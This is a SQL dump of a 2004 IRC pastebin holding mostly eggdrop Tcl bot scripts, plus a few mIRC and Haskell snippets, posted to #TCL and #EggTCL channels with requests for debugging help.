}\r\n    }\r\n\r\n    return 1\r\n}\r\n\r\n\r\n# public interface for readconfig\r\nproc tmcquiz_config_load {handle idx arg} {\r\n    global configfile\r\n    mxirc_dcc $idx "Loaded [mx_config_read $configfile] configuration entries."\r\n}\r\n\r\n\r\n# public interface for readconfig\r\nproc tmcquiz_config_save {handle idx arg} {\r\n    global configfile\r\n    mxirc_dcc $idx "Saved [mx_config_write $configfile] configuration entries."\r\n}\r\n\r\n# applies a configuration and makes neccessary setup\r\nproc mx_config_apply {key oldvalue} {\r\n    global whisperprefix quizconf channelrules botnick pricesfile\r\n    variable value $quizconf($key)\r\n\r\n    switch -exact $key {\r\n	"winscore" {\r\n	    if {$oldvalue != {}} {\r\n#		mxirc_say $quizconf(quizchannel) "Score to win set from $oldvalue to $value ([format "\\%+d" [expr $value - $oldvalue]])."\r\n	    }\r\n	}\r\n	"msgwhisper" {\r\n	    if {$value == "yes"} {\r\n		set whisperprefix "PRIVMSG"\r\n	    } else {\r\n		set whisperprefix "NOTICE"\r\n	    }\r\n	}\r\n	"channelrules" {\r\n	    if {$value == "yes"} {\r\n		bind msg - !rules tmcquiz_rules\r\n		bind pub - !rules tmcquiz_pub_rules\r\n		tmcquiz_rules_read $botnick 0 {}\r\n	    } else {\r\n		unbind msg - !rules tmcquiz_rules\r\n		unbind pub - !rules tmcquiz_pub_rules\r\n	    }\r\n	}\r\n        "prices" {\r\n            if {$value == "yes"} {\r\n                mx_read_prices $pricesfile\r\n            }\r\n        }\r\n    }\r\n}\r\n\r\n# reads configuration from cfile into global variable quizconf\r\nproc mx_config_read {cfile} {\r\n    global quizconf\r\n\r\n    variable num 0\r\n\r\n    mx_log "--- Loading configuration from $cfile ..."\r\n\r\n    set fd [open $cfile r]\r\n    while {![eof $fd]} {\r\n	gets $fd line\r\n	if {![regexp "^ *#.*$" $line] && ![regexp "^ *$" $line]} {\r\n	    set content [split $line {=}]\r\n	    set key [string trim [lindex $content 0]]\r\n	    set value [string trim [lindex $content 1]]\r\n	    set quizconf($key) $value\r\n	    incr num\r\n	}\r\n    }\r\n    close $fd\r\n\r\n    mx_log "--- Configuration loaded: $num settings."\r\n\r\n    foreach $key [array names quizconf] {\r\n	mx_config_apply $key {}\r\n    }\r\n\r\n    return $num\r\n}\r\n\r\n\r\n# writes configuration from global quizconf to cfile\r\nproc mx_config_write {cfile} {\r\n    global quizconf\r\n\r\n    variable num 0\r\n    variable written ""\r\n\r\n    mx_log "--- Saving configuration to $cfile ..."\r\n\r\n\r\n    set fdin [open $cfile r]\r\n    set fdout [open "$cfile.tmp" w]\r\n\r\n    # replace known configs\r\n    while {![eof $fdin]} {\r\n	gets $fdin line\r\n	switch -regexp $line {\r\n	    "(^ *$|^ *#.*$)" {\r\n		puts $fdout $line\r\n	    }\r\n	    "^(.*)=(.*)$" {\r\n		set content [split $line {=}]\r\n		set key [string trim [lindex $content 0]]\r\n		set value [string trim [lindex $content 1]]\r\n		if {[info exists quizconf([string trim $key])]} {\r\n		    puts $fdout "$key = $quizconf([string trim $key])"\r\n		    incr num\r\n		} else {\r\n		    puts $fdout $line\r\n		}\r\n		lappend written [string trim $key]\r\n	    }\r\n	}\r\n    }\r\n\r\n    # append "new" configs not mentioned in the file\r\n    puts $fdout "###########################################################################"\r\n    puts $fdout "###########################################################################"\r\n    puts $fdout "#"\r\n    puts $fdout "# New Configuration values."\r\n    puts $fdout "#"\r\n\r\n    set keys [array names quizconf]\r\n    for {set i 0} {$i < [llength $keys]} {incr i} {\r\n	set key [lindex $keys $i]\r\n	if {[lsearch -exact $written $key] == -1} {\r\n	    puts $fdout "$key = $quizconf($key)"\r\n	}\r\n    }\r\n\r\n    close $fdin\r\n    close $fdout\r\n\r\n    # delete old config\r\n    file rename -force "$cfile.tmp" $cfile\r\n\r\n    mx_log "--- Configuration saved: $num settings."\r\n    return $num\r\n}\r\n\r\n###########################################################################\r\n#\r\n# Handling of certain events, like +m, nickchanges and others\r\n#\r\n###########################################################################\r\n\r\n## player has changed nick.  Adjust ranking\r\n## proc tmcquiz_on_nickchanged {nick host handle channel newnick} {\r\n##    global userlist quizconf\r\n##    variable addscore 0 ascore 0\r\n\r\n##    if {![mx_str_ieq $channel $quizconf(quizchannel)]} {\r\n##	return\r\n##    }\r\n    # see, if we can collect some old scores\r\n##    if {[info exists userlist($newnick)]} {\r\n##	mx_log "---- old entry: $userlist($newnick)"\r\n	# check if we know the host\r\n##	array set oldentry $userlist($newnick)\r\n##	if {$oldentry(mask) == [maskhost $host]} {\r\n##	    set addscore $oldentry(score)\r\n##	    if {$addscore != 0} {\r\n##		mxirc_notc $newnick "Your old scores of $addscore were collected, since I know your host."\r\n##	    }\r\n##	} else {\r\n##	    set addscore 0\r\n##	    if {$oldentry(score) != 0} {\r\n##		mxirc_notc $newnick "Your host was new to me, old scores deleted."\r\n##	    }\r\n##	}\r\n	\r\n	# new score gathered, sum up!\r\n##	if {[info exists userlist($nick)]} {\r\n##	    array set newentry $userlist($nick)\r\n##	    incr newentry(score) $addscore\r\n##	    set newentry(started) $oldentry(started)\r\n##	    set userlist($newnick) [array get newentry]\r\n##	    unset userlist($nick)\r\n##	}\r\n	# else, the newnick is still in ranks.\r\n	# do nothing.\r\n\r\n##    } elseif {[info exists userlist($nick)]} {\r\n##	set userlist($newnick) $userlist($nick)\r\n##	array set afoo $userlist($newnick)\r\n##	unset userlist($nick)\r\n##	mx_log "---- Known, scores transferred."\r\n##	if {$afoo(score) > 0} {\r\n##	    mxirc_notc $newnick "I saw you changed you nick and transferred scores."\r\n##	}\r\n##    }\r\n##}\r\n\r\n\r\n## notification when a user joins in\r\n##proc tmcquiz_on_joined {nick host handle channel} {\r\n##    global qlist version_tmcquizz userlist\r\n##    global quizconf quizstate qnum_thisgame\r\n    \r\n##    variable text\r\n\r\n ##   if {![mx_str_ieq $channel $quizconf(quizchannel)]} {\r\n##	return\r\n ##   }\r\n    \r\n##    set text "Welcome, type \\"!play\\" to start the scramble game"\r\n\r\n##    if {$quizconf(channelrules) == "yes"} {\r\n##	set text "$text"\r\n##    }\r\n\r\n##    mxirc_notc $nick $text\r\n##    if {[info exists userlist($nick)]} {\r\n##	array set aa $userlist($nick)\r\n##	if {$aa(mask) == [maskhost $host]} {\r\n##	    if {$aa(score) > 0} {\r\n##		mxirc_notc $nick "jangan ganti ganti ident (host) kamu atau ranking dan score kamu akan direset jadi Nol."\r\n##	    }\r\n##	} else {\r\n##	    mxirc_notc $nick "Your hostmask is new to me, deleting old scores."\r\n##	    unset userlist($nick)\r\n##	}\r\n##    }\r\n\r\n ##   if {$quizstate == "paused"} {\r\n##	mxirc_notc $nick "Scramble game is paused setelah $qnum_thisgame questions."\r\n##    } elseif {$qnum_thisgame != 0} {\r\n##	mxirc_notc $nick "Scramble game sudah berjalan, $qnum_thisgame pertanyaan."\r\n ##   }\r\n\r\n ##   mx_log "--- $nick joined the channel."\r\n##}\r\n\r\n\r\n###########################################################################\r\n#\r\n# miscellaneous tmcquiz commands not fitting elsewhere\r\n#\r\n###########################################################################\r\n\r\n\r\n# say Hi to "known" users\r\nproc tmcquiz_pub_hi {nick host handle channel arg} {\r\n    global quizconf allstarsarray\r\n    if {[mx_str_ieq $channel $quizconf(quizchannel)] && \r\n    ([validuser $handle] || [info exists allstarsarray($nick)]) } {\r\n	mxirc_say $quizconf(quizchannel) "Hi $nick!  Nice to see you."\r\n    }\r\n}\r\n\r\n\r\n\r\n###########################################################################\r\n###########################################################################\r\n##\r\n## internal routines\r\n##\r\n###########################################################################\r\n###########################################################################\r\n\r\n## ----------------------------------------------------------------------\r\n## react on certain events\r\n## ----------------------------------------------------------------------\r\n\r\nproc mx_event {type} {\r\n    global botnick quizstate \r\n    switch -exact $type {\r\n	"prerehash" {\r\n	    mx_log "--- Preparing for rehashing"\r\n	    if {$quizstate != "halted"} {\r\n		t', 0, 'tcl', 'game scramble', '#TCL');
INSERT INTO `pastebin` VALUES (2242, 'xz', '2004-09-08 12:09:04', 'proc lrandom {L} { lindex $L [expr { int(rand()*[llength $L]) }] }\r\n\r\n##################################################\r\n####                    SING!!                ####\r\n##################################################\r\n\r\nbind pubm - !sing pub_sing\r\n\r\nset filesi "/usr/home/thuggawd/eggdrop/scripts/bottalk/sing.txt"\r\nset fidsi [open $filesi r]\r\nset ransings [split [read $fidsi] \\n]\r\nclose $fidsi\r\n\r\nproc pub_sing {nick uhost hand chan text} {\r\nif {[llength [split $text]] == 0} {\r\nputhelp "PRIVMSG $chan :\\001ACTION [lindex $::ransings [rand [llength $::ransings]]]\\001"\r\n}\r\nreturn 1\r\n}\r\n', 0, 'tcl', 'how come this isnt working..', '#TCL');
INSERT INTO `pastebin` VALUES (2243, 'BL4DE', '2004-09-08 12:14:39', '##################################################\r\n####                    SING!!                ####\r\n##################################################\r\n\r\nbind pub - !sing pub_sing\r\n\r\nset filesi "/usr/home/thuggawd/eggdrop/scripts/bottalk/sing.txt"\r\nset ransings [split [read [open $filesi r]] \\n]\r\nclose $fidsi\r\n\r\nproc pub_sing {nick uhost hand chan text} {\r\n  puthelp "PRIVMSG $chan :\\001ACTION [lindex $::ransings [rand [llength $::ransings]]]\\001"\r\n}', 2242, 'none', 'try this', 'none');
INSERT INTO `pastebin` VALUES (2244, 'xz', '2004-09-08 12:19:32', '##################################################\r\n####                  Hi Reply                ####\r\n##################################################\r\n\r\nbind pub - hi pub_hi\r\nbind pub - Hi pub_hi\r\nbind pub - hello pub_hi\r\nbind pub - hii pub_hi\r\nbind pub - hiii pub_hi\r\nbind pub - hiiii pub_hi\r\nbind pub - hiiiii pub_hi\r\nbind pub - hiiiiii pub_hi\r\n\r\n\r\nset filehi "/usr/home/thuggawd/eggdrop/scripts/bottalk/hi.txt"\r\nset ranhi [split [read [open $filehi r]] \\n]\r\nclose $fidhi\r\n\r\nproc pub_hi {nick uhost hand chan text} {\r\n  puthelp "PRIVMSG $chan :[string map "<nick> $nick" [lindex $::ranhi [rand [llength $::ranhi]]]]"\r\n}', 0, 'tcl', 'another talker on the Same .tcl file as !sing...', '#TCL');
INSERT INTO `pastebin` VALUES (2245, 'BL4DE', '2004-09-08 12:21:13', '##################################################\r\n####                  Hi Reply                ####\r\n##################################################\r\n\r\nbind pub - hi pub_hi\r\nbind pub - Hi pub_hi\r\nbind pub - hello pub_hi\r\nbind pub - hii pub_hi\r\nbind pub - hiii pub_hi\r\nbind pub - hiiii pub_hi\r\nbind pub - hiiiii pub_hi\r\nbind pub - hiiiiii pub_hi\r\n\r\n\r\ncatch {set ranhi [split [read [set f [open "/usr/home/thuggawd/eggdrop/scripts/bottalk/sing.txt" r]]] \\n ] ; close $f}\r\n\r\nproc pub_hi {nick uhost hand chan text} {\r\n  puthelp "PRIVMSG $chan :[string map "<nick> $nick" [lindex $::ranhi [rand [llength $::ranhi]]]]"\r\n}', 2244, 'tcl', 'again', '#TCL');
INSERT INTO `pastebin` VALUES (2246, 'xz', '2004-09-08 12:31:31', '#################################################\r\n####               Lookup REPLY              ####\r\n#################################################\r\n\r\nbind pub - !lookup whois_lookup\r\n\r\nproc whois_lookup {nick uhost handle channel text} {\r\nif {[llength [split $text]] == 0} {\r\n	return\r\n}\r\nif {![regexp {^([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])$} $text]} {\r\n	putquick "PRIVMSG $channel :Invalid IP Address."\r\n	return\r\n	}\r\nset db [exec whois $text]\r\nset dblist [split $db \\n]\r\n\r\nforeach d $dblist {\r\n	if {[string match *inetnum:* $d] || [string match *netname:* $d] || [string match *descr:* $d] || [string match *country:* $d] || [string match -nocase *comment:* $d]} {\r\n		lappend f $d\r\n	}\r\n}\r\n\r\nputquick "PRIVMSG $channel :[string map {\\{ "" \\} "" "netname" "\\002netname\\002" "descr" "\\002descr\\002" "country" "\\002country\\002" "inetnum" "\\002inetnum\\002" "Comment" "\\002Comment\\002"} $f]"\r\n}', 0, 'tcl', 'cheak this please...', '#TCL');
INSERT INTO `pastebin` VALUES (2247, 'Khaleej', '2004-09-08 16:23:21', '##################################################\r\n####                    KISS!!                ####\r\n##################################################\r\n\r\nbind pub - !kiss pub_kiss\r\n\r\ncatch {set rankiss [split [read [set f [open "/usr/home/thuggawd/eggdrop/scripts/bottalk/kiss.txt" r]]] \\n ] ; close $f}\r\n\r\nproc pub_kiss {nick uhost hand chan text} {\r\n  puthelp "PRIVMSG $chan :\\001ACTION [string map "<nick> $nick <2nd> $£" [lindex $::rankiss [rand [llength $::rankiss]]]]\\001"\r\n}\r\n', 0, 'tcl', 'what should i replace $Â£ with?', '#TCL');
INSERT INTO `pastebin` VALUES (2248, 'Robb', '2004-09-08 16:36:10', 'bind pub - !kiss pub_kiss\r\n\r\ncatch {set rankiss [split [read [set f [open "/usr/home/thuggawd/eggdrop/scripts/bottalk/kiss.txt" r]]] \\n ] ; close $f}\r\n\r\nproc pub_kiss {nick uhost hand chan text} {\r\nif {[llength [split $text ""]] == 0} {\r\n	putquick "PRIVMSG $nick :Corrent Syntax: !kiss <nick>"\r\n	return\r\n}\r\nif {![onchan $text $chan]} {\r\n	putquick "PRIVMSG $nick :I can not find $text in $chan"\r\n	return\r\n} else {\r\n	puthelp "PRIVMSG $chan :\\001ACTION [string map "<nick> $nick <2nd> $£" [lindex $::rankiss [rand [llength $::rankiss]]]]\\001"\r\n	}\r\n}', 0, 'none', 'none', '#TCL');
INSERT INTO `pastebin` VALUES (2249, 'Robb', '2004-09-08 16:37:30', 'bind pub - !kiss pub_kiss\r\n\r\ncatch {set rankiss [split [read [set f [open "/usr/home/thuggawd/eggdrop/scripts/bottalk/kiss.txt" r]]] \\n ] ; close $f}\r\n\r\nproc pub_kiss {nick uhost hand chan text} {\r\nif {[llength [split $text ""]] == 0} {\r\n	putquick "PRIVMSG $nick :Corrent Syntax: !kiss <nick>"\r\n	return\r\n}\r\nif {![onchan $text $chan]} {\r\n	putquick "PRIVMSG $nick :I can not find $text in $chan"\r\n	return\r\n} else {\r\n	puthelp "PRIVMSG $chan :\\001ACTION [string map "<nick> $nick <2nd> $text" [lindex $::rankiss [rand [llength $::rankiss]]]]\\001"\r\n	}\r\n}', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2250, 'dan2', '2004-09-08 19:39:09', 'import System\r\n\r\npower x n | n > 0 = powerf x n 1\r\n          | n == 0 = 1\r\n          | x == 1 = 1\r\n          | n < 0 = 1/(powerf x (-n) 1)\r\n          | x == 0 = 0\r\n          | otherwise = error "Not valid input"\r\n\r\npowerf x n r | n > 0 = let {r'' = r*x; n'' = n - 1} in powerf x n'' r''\r\n             | n == 0 = r\r\n\r\nmain = do {a:b:_ <- getArgs; print $ power (read a) (read b)}\r\n', 0, 'haskell', 'powers', 'none');
INSERT INTO `pastebin` VALUES (2251, 'Phil_L', '2004-09-09 07:24:50', '#Permban someone\r\nproc pub_do_perm {nick host handle channel testes} {\r\nglobal botnick\r\nset why [lrange $testes 1 end]\r\nset who [lindex $testes 0]\r\nset ban [maskhost [getchanhost $who $channel]]\r\nif {$who == ""} {\r\nputserv "NOTICE $nick :Usage: !perm <Nick to shitlist>"\r\nreturn 1\r\n}\r\nif {![onchan $who $channel]} {\r\nputserv "NOTICE $nick :$who aint on $channel."\r\nreturn 1\r\n}\r\nif {[string tolower $who] == [string tolower $botnick]} {\r\nputserv "KICK $channel $nick :Dumbass. I aint bannin'' myself!"\r\nreturn 1\r\n}\r\nif {[matchattr $who +n]} {\r\nputserv "NOTICE $who :$nick tried to permban you. Better have a talk with him."\r\nputserv "NOTICE $nick :You tried to permban $who, He''s an OWNER! I''m tellin'' him now..."\r\nreturn 1\r\n}\r\nnewchanban $channel $ban $nick $why\r\nstick $ban $channel\r\nputserv "KICK $channel $who :$why"\r\nputlog "$nick made me permban $who who was $ban and the reason was $why."\r\nputserv "NOTICE $nick :PermBanned $who on $channel with reason: $why."\r\nreturn 1\r\n}\r\n#end of pub_do_perm', 0, 'tcl', 'Help Me gozzer', '#EggTCL');
INSERT INTO `pastebin` VALUES (2252, 'Phil_L', '2004-09-09 07:26:40', '#Make the bot halfop someone\r\nproc pub_do_halfop {nick host handle channel testes} {\r\nglobal usehalfop owner\r\nset who [lindex $testes 0]\r\nif {$usehalfop == 1} {\r\nif {$who == ""} {\r\nif {![botisop $channel]} {\r\nputserv "NOTICE $nick :I''m not op''d. Lamer."\r\nreturn 1\r\n}\r\nif {[halfop $channel]} {\r\nputserv "NOTICE $nick :YOU are ALREADY halfop''d in $channel you dumbass."\r\nreturn 1\r\n}\r\nputserv "MODE $channel +h $nick"\r\nreturn 1\r\n}\r\nif {![botisop $channel]} {\r\nputserv "NOTICE $nick :I''m not op''d. Lamer."\r\nreturn 1\r\n}\r\n\r\nif {[halfop $who $channel]} {\r\nputserv "NOTICE $nick :$who is ALREADY halfop''d in $channel you dumbass."\r\nreturn 1\r\n} \r\n\r\nputserv "MODE $channel +h $who"\r\nputserv "NOTICE $nick :Halfop''d $who on $channel."\r\nputlog "$nick made me halfop $who in $channel."\r\nreturn 1\r\n}\r\nif {$usehalfop == 0} {\r\nif {[matchattr $nick +n]} {\r\nputserv "NOTICE $nick :Halfop isn''t enabled. To enable, edit avenger.tcl."\r\nreturn 1\r\n}\r\nputserv "NOTICE $nick :Halfop isn''t enabled. If this server uses halfop, tell it to $owner"\r\n}\r\n}\r\n#End of pub_do_halfop', 0, 'tcl', 'Help Me gozzer', '#EggTCL');
INSERT INTO `pastebin` VALUES (2253, 'simp`', '2004-09-09 08:38:01', 'on *:text:!addv*:#:{ if ($nick isop $chan) { \\%voices = \\%voices $address($2-,0) | msg $chan hokay! | msg #simpbot done: $1- by $nick } }\r\non *:join:#:{ if ($nick isop $chan) { if ($pos(\\%voices,$address($nick,0),1) != $null ) { mode $chan +v $nick } } }', 0, 'maple', 'mirc (random setup)', '#TCL');
INSERT INTO `pastebin` VALUES (2254, 'simp`', '2004-09-09 09:15:21', '# i need someone to help me write the execution for the voice\r\n\r\non *:text:!addvoice*:#: {\r\nif ($nick isop #)\r\n  \\%file.voices = crap\\voice.txt\r\n  if (2$- == $null): {\r\n    notice $nick Syntax Error: !addvoice <voicename>\r\n    halt\r\n  }\r\n  if ($count($read(\\%file.voices,w,$address($2-,0)),$address($2-,0)) == 0): {\r\n    //write -a \\%file.voices $address($2-,0)\r\n    //notice $nick $address($2-,0) ( $2- ) Successfully Added \r\n  } \r\nelse { notice $nick $2- is already a voice. } }', 0, 'tcl', 'mirc (better layout)', 'none');
INSERT INTO `pastebin` VALUES (2255, 'synapze', '2004-09-09 23:12:11', '# delquote.tcl v0.0001b synapze\r\n# Removes quotes from quote.txt\r\n# Using a bash backend\r\n\r\nset delquote /home/synapze/benzos/scripts/delquote.sh\r\nset qfile /home/synapze/benzos/scripts/quote.txt\r\nset tmpfile /home/synapze/benzos/scripts/quote.txt.tmp\r\nset qlog /home/synapze/benzos/scripts/quote.log\r\n\r\nbind pub m !delquote quote:pub:delquote\r\n\r\nproc quote:pub:delquote {nick uhost hand chan arg} {\r\n global tmpfile\r\n global delquote\r\n global qlog\r\n global qfile\r\n\r\n if { $arg == "" } {\r\n  putnotc $nick "Usage: !delquote <quote>"\r\n  return 0\r\n }\r\n while {![eof [open $qfile r]]} {\r\n set line [gets [open $qfile r]]\r\n if {![string match $line $arg]} {\r\n  puts [open $tmpfile w] $line\r\n  }\r\n close $qfile\r\n close $tmpfile\r\n file copy $tmpfile $qfile\r\n file delete $tmpfile\r\n putnotc $nick "Chi Chinga..."\r\n set filea [open $qlog w]\r\n puts $filea "$nick ($uhost) of $chan Deleted: $arg"\r\n close $filea\r\n close $qlog\r\n return 1\r\n}\r\n\r\nputlog "delquote.tcl v0.0001b by synapze loaded.."\r\n\r\n }', 0, 'tcl', 'quote script', '#EggTCL');
INSERT INTO `pastebin` VALUES (2256, 'mergh', '2004-09-10 05:39:33', 'proc bleh {text} {\r\n  regsub -all -- \\\\\\\\ $text \\\\\\\\\\\\\\\\ text\r\n  regsub -all -- \\\\\\[ $text \\\\\\\\\\[ text\r\n  regsub -all -- \\\\\\] $text \\\\\\\\\\] text\r\n  regsub -all -- \\\\\\} $text \\\\\\\\\\} text\r\n  regsub -all -- \\\\\\{ $text \\\\\\\\\\{ text\r\n  regsub -all -- \\\\\\" $text \\\\\\\\\\" text\r\n  return $text\r\n}', 0, 'tcl', 'maybe this will help somehow', '#EggTCL');
INSERT INTO `pastebin` VALUES (2257, 'kani', '2004-09-10 21:11:10', 'bind pub -|- mcps spb_decrypt\r\nbind pub -|- +OK spb_decrypt\r\n\r\n\r\nproc spb_decrypt {nick host hand chan args} {\r\n  global blowkey procs\r\n  set cmdline [decrypt $blowkey($chan) $args]\r\n  putlog "key = $blowkey($chan)"\r\n  putlog "decoded line = $cmdline" \r\n  if { [string index $cmdline 0] != "!" } { return }\r\n  set dcmd [lindex $cmdline 0]\r\n  set darg [lrange $cmdline 1 end]\r\n  foreach eachproc $procs {\r\n    set eachproc [split $eachproc :]\r\n    if { $dcmd == [subst [lindex $eachproc 0]] } {\r\n      [lindex $eachproc 1] $nick $uhost $hand $chan $darg\r\n      return\r\n    }\r\n  }\r\n}', 0, 'tcl', 'decrypt arg', '#EggTCL');
INSERT INTO `pastebin` VALUES (2258, 'dan2', '2004-09-10 21:32:39', 'module Main( main ) where\r\n\r\nimport Network\r\nimport IO\r\nimport Control.Concurrent\r\n\r\nmain :: IO ()\r\nmain = withSocketsDo $ --For windows compatibility\r\n  do\r\n  theSocket <- listenOn (PortNumber 2048)\r\n  sequence_ $ repeat $ acceptConnectionAndFork\r\n            theSocket\r\n      where\r\n      acceptConnectionAndFork :: Socket -> IO ()\r\n      acceptConnectionAndFork theSocket =\r\n          do\r\n          connection <- accept theSocket\r\n          let (handle, hostname, portnumber ) = connection\r\n          putStr ("("++ hostname ++ ":" ++ (show portnumber) ++ "): Open\\n" )\r\n          forkOS (echoServer connection)\r\n          return ()\r\n\r\nechoServer :: (Handle, String, PortNumber) -> IO ()\r\nechoServer (handle, hostname, portnumber ) =\r\n  do\r\n  a <- hGetContents handle\r\n  putStr $ foldr (++) "" $ map (\\a -> "(" ++ hostname ++ ":" ++ (show portnumber) ++ "): Msg " ++ (show a) ++ "\\n" ) $ lines a\r\n  putStr ("("++ hostname ++ ":" ++ (show portnumber) ++ "): Close\\n" )\r\n', 0, 'haskell', 'echoserver', 'none');
INSERT INTO `pastebin` VALUES (2259, 'Anonymous', '2004-09-11 10:59:04', 'import IO\r\nimport Control.Concurrent\r\n\r\nmain :: IO ()\r\nmain = withSocketsDo $ --For windows compatibility\r\n  do\r\n  theSocket <- listenOn (PortNumber 2048)\r\n  sequence_ $ repeat $ acceptConnectionAndFork\r\n            theSocket\r\n      where\r\n      acceptConnectionAndFork :: Socket -> IO ()\r\n      acceptConnectionAndFork theSocket =\r\n          do\r\n          connection <- accept theSocket\r\n          let (handle, hostname, portnumber ) = connection\r\n          putStr ("("++ hostname ++ ":" ++ (show portnumber) ++ "): Open\\n" )\r\n          forkOS (echoServer connection)\r\n          return ()\r\n\r\nechoServer :: (Handle, String, PortNumber) -> IO ()\r\nechoServer (handle, hostname, portnumber ) =\r\n  do\r\n  a <- hGetContents handle\r\n -- putStr $ foldr (++) "" $ map (\\a -> "(" ++ hostname ++ ":" ++ (show portnumber) ++ "): Msg " ++ (show a) ++ "\\n" ) $ lines a\r\n  hPutStr handle $ foldr (++) "" $ map (\\a -> "(" ++ hostname ++ ":" ++ (show portnumber) ++ "): Msg " ++ (show a) ++ "\\n" ) $ lines a\r\n  putStr ("("++ hostname ++ ":" ++ (show portnumber) ++ "): Close\\n" )\r\n', 0, 'haskell', 'none', 'none');
INSERT INTO `pastebin` VALUES (2260, ']X[ploit', '2004-09-12 11:37:04', '################################\r\n#### gamefaq tcl script v1.10  by Amien ####\r\n################################\r\n\r\n# v1.00 first release\r\n# v1.10 adapted to new webpage\r\n# !games <console>\r\n#\r\n# will show upcoming games with retail date\r\n# source is http://www.gamefaqs.com/\r\n#\r\n# If you find any bug, please bug me at amien7049@hotmail.com\r\n# respect to all the people from TCL , PHP and SQL channels on efnet\r\n# for answering all my n00b questions so fast\r\n#\r\n# not the finest lines of tcl but it all works\r\n# feel free to modify, but please send me your scripts or updates\r\n\r\n\r\nbind pub - !games games\r\n\r\nproc games {nick host handle chan arg}  {\r\n    global system \r\n\r\n\r\n## parameter settings ##\r\n\r\n    set arg [string toupper $arg]\r\n    if {$arg != "PC" && $arg != "GC" && $arg != "PS2" && $arg != "XBOX" && $arg != "GBA"} {  \r\n            puthelp "notice $nick :Missing argument, type !games SECTION, available sections are: GBA GC PC PS2 XBOX"\r\n            return 0\r\n            }\r\n    puthelp "privmsg $chan :UPCOMING $arg GAMES // US RETAiL // v1.10"\r\n\r\n    if {$arg == "PC"} { set urlgames "http://www.gamefaqs.com/computer/doswin/" }\r\n    if {$arg == "GC"} { set urlgames "http://www.gamefaqs.com/console/gamecube/" }\r\n    if {$arg == "PS2"} { set urlgames "http://www.gamefaqs.com/console/ps2/" }\r\n    if {$arg == "XBOX"} { set urlgames "http://www.gamefaqs.com/console/xbox/" }\r\n    if {$arg == "GBA"} { set urlgames "http://www.gamefaqs.com/portable/gbadvance/" }\r\n    \r\n\r\n## read  http page ##\r\n\r\n    package forget http\r\n    package require http 2.3\r\n    set conn [::http::geturl $urlgames]\r\n    set data [::http::data $conn]\r\n    set gameline2 ""\r\n\r\n## lets strip! ##\r\n\r\n    foreach line [split $data \\n] {\r\n      if {[string first "upcomingreleases" $line] != -1} {  \r\n\r\n         \r\n\r\n           set line [string map  {"</tr><tr><td" "NLP"} $line] \r\n           set line [string map  {"</font></td><td>" " "} $line]      \r\n           set line [string map  {"</a><br>" " "} $line] \r\n           set line [string map  {">" " "} $line] \r\n           set line [string map  {"<font size=" ""} $line] \r\n           set line [string map  {"<a href=" ""} $line] \r\n           set line [string map  {"data" ""} $line] \r\n           set line [string map  {".html" ""} $line] \r\n           set line [string map  {"&amp;" "&"} $line] \r\n           set line [string map  {"valign=" " "} $line] \r\n\r\n           set finalline [string first "Japan</th" $line]\r\n           if {$finalline == -1 } { set finalline [string first "Europe</th" $line] }\r\n\r\n           set finalline [expr $finalline - 1]\r\n     \r\n           set line [string range $line 0 $finalline]\r\n        \r\n           set line "$line NLP"\r\n           set cutfirst [string first "NLP" $line]\r\n           set cutfirst [expr $cutfirst + 3]\r\n           set line [string range $line $cutfirst end]\r\n\r\n           \r\n         \r\n## create final line ##       \r\n          \r\n           while {[string first "NLP" $line] != -1} {\r\n               set dateline [lindex $line 2]\r\n               set dateline [string map {"/" "-"} $dateline]\r\n               set dateline [string map {"<-td" ""} $dateline]\r\n               set newline [string first "NLP" $line]\r\n               set newline [expr $newline - 1]\r\n               set gameline [string range $line 0 $newline]  \r\n               \r\n               \r\n\r\n               #regsub -all {[0-9]+} $gameline "" gameline\r\n              \r\n               foreach element $gameline { \r\n                                      \r\n                                              if {[string first "/" $element] != -1} { set gameline2 "$gameline2\\,"} else {set gameline2 "$gameline2 $element"}\r\n                                          }\r\n \r\n                     \r\n               #puthelp "privmsg $chan :($dateline) [lrange $gameline 5 end]. [llength $gameline]"\r\n\r\n               set finalline "[lrange $gameline2 5 end]."\r\n               set finalline [string map {",." "."} $finalline]\r\n\r\n               set finalline2 [string first ",,," $finalline]\r\n            \r\n               if {$finalline2 != -1 } { set finalline [string range $finalline 0  [expr $finalline2 + 1]] }\r\n               set finalline [string map {",," "."} $finalline]\r\n\r\n            \r\n               puthelp "privmsg $chan :($dateline) $finalline"\r\n               set gameline2 ""\r\n\r\n\r\n## create new line for new date ###         \r\n                      \r\n               set found [string first "NLP" $line] \r\n               set found [expr $found + 3]\r\n               set line [string range $line $found end]]\r\n             \r\n           }\r\n      }\r\n    }\r\n }\r\n\r\n\r\n\r\n\r\nputlog "Amiens GAMESFAQS Scripts"', 0, 'tcl', 'need to change the output from the US column to the european one', '#EggTCL');
INSERT INTO `pastebin` VALUES (2261, 'MirrorLynx', '2004-09-12 20:58:15', 'import System\r\n\r\nfiba :: (Integral a) => a -> a -> a -> a\r\nfiba n f0 f1 | n > 0 = fiba (n-1) f1 (f0 + f1)\r\n             | otherwise = f1\r\n\r\nfib n = fiba n 0 1\r\nmain = do { [a] <- getArgs;\r\n       print $ fib (read a) }\r\n', 0, 'haskell', 'none', 'none');
INSERT INTO `pastebin` VALUES (2262, 'decoy', '2004-09-13 14:31:31', 'set pubchan "#channel"\r\n\r\nproc pub_bleh { nick host hand chan args } {\r\n  if {$chan == $pubchan} {\r\n    ...\r\n  }\r\n}', 0, 'tcl', 'variable issue', '#TCL');
INSERT INTO `pastebin` VALUES (2263, 'Pixelz', '2004-09-13 14:32:48', 'set pubchan "#channel"\r\n\r\nproc pub_bleh { nick host hand chan args } {\r\n  global pubchan\r\n  if {$chan == $pubchan} {\r\n    ...\r\n  }\r\n}', 2262, 'tcl', 'fixed', '#TCL');
INSERT INTO `pastebin` VALUES (2264, 'Wish', '2004-09-13 17:15:33', '[00:14] bad type, should be one of: act, away, bcst, bot, chat, chjn, chof, chon, chpt, dcc, disc, evnt, filt, link, load, nkch, note, time, unld\r\n    while executing\r\n"bind raw -|- 303 Nserv:isonline"\r\n    (file "scripts/ident09.tcl" line 101)\r\n    invoked from within\r\n"source scripts/ident09.tcl"\r\n', 0, 'tcl', 'Error', '#EggTCL');
